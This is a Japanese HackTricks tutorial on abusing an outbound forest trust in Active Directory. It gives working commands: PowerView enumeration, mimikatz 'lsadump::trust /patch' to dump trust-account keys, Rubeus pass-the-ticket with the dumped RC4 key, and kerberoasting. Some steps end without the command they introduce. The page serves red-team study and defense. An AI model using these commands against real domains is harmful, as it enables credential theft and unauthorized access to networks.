8.1 KiB
外部フォレストドメイン - 片方向(アウトバウンド)
AWSハッキングをゼロからヒーローまで学ぶには htARTE(HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
このシナリオでは、あなたのドメインが異なるドメインのプリンシパルに対していくつかの権限を信頼しています。
列挙
アウトバウンドトラスト
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain : root.local
GroupName : External Users
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain : root.io
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
トラストアカウント攻撃
Active Directory ドメインまたはフォレストトラストがドメイン B からドメイン A へ設定されるとき(B が A を信頼)、ドメイン A に B. Kerberos trust keys という名前のトラストアカウントが作成されます。これらは、ドメイン A のユーザーがドメイン B のサービスに対するサービスチケットを要求する際に、相互レルム TGT の暗号化に使用される、トラストアカウントのパスワードから派生したものです。
ドメインコントローラを使用して、信頼されたアカウントのパスワードとハッシュを取得することが可能です:
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
リスクは、信頼アカウントB$が有効になっているため、B$のプライマリグループがドメインAのドメインユーザーであることにあります。ドメインユーザーに付与された権限はB$にも適用され、B$の資格情報を使用してドメインAに対して認証することが可能です。
{% hint style="warning" %} したがって、信頼しているドメインから信頼されているドメイン内のユーザーを取得することが可能です。このユーザーは多くの権限を持っていないかもしれません(おそらくドメインユーザーのみ)が、外部ドメインを列挙することができます。 {% endhint %}
この例では、信頼しているドメインはext.local
で、信頼されているドメインはroot.local
です。したがって、root.local
内にEXT$
というユーザーが作成されます。
# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes
したがって、この時点で root.local\EXT$
の現在のクリアテキストパスワードとKerberos秘密鍵を持っています。root.local\EXT$
のKerberos AES秘密鍵は異なるソルトが使用されるためAESトラストキーとは同一ではありませんが、RC4キーは同じです。したがって、ext.localからダンプされたRC4トラストキーを使用して、root.local\EXT$
として root.local
に対して認証することができます。
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
この方法を使えば、そのドメインの列挙を開始し、さらにユーザーに対してkerberoastingを行うことができます。
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
クリアテキスト信頼パスワードの収集
前のフローでは、クリアテキストパスワード(mimikatzによってダンプされた)の代わりに信頼ハッシュを使用しました。
クリアテキストパスワードは、mimikatzの[ CLEAR ]出力を16進数から変換し、ヌルバイト '\x00' を削除することで取得できます:
信頼関係を作成する際には、ユーザーが信頼のためのパスワードを入力する必要があります。このデモンストレーションでは、キーは元の信頼パスワードであり、したがって人間が読める形式です。キーがサイクルする(30日ごと)と、クリアテキストは人間が読める形式ではなくなりますが、技術的にはまだ使用可能です。
クリアテキストパスワードは、信頼アカウントのKerberos秘密鍵を使用してTGTを要求する代わりに、信頼アカウントとして通常の認証を実行するために使用できます。ここでは、ext.localからroot.localに対してDomain Adminsのメンバーを照会しています:
参考文献
htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricksのgithubリポジトリとHackTricks CloudにPRを提出して、あなたのハッキングのコツを共有する。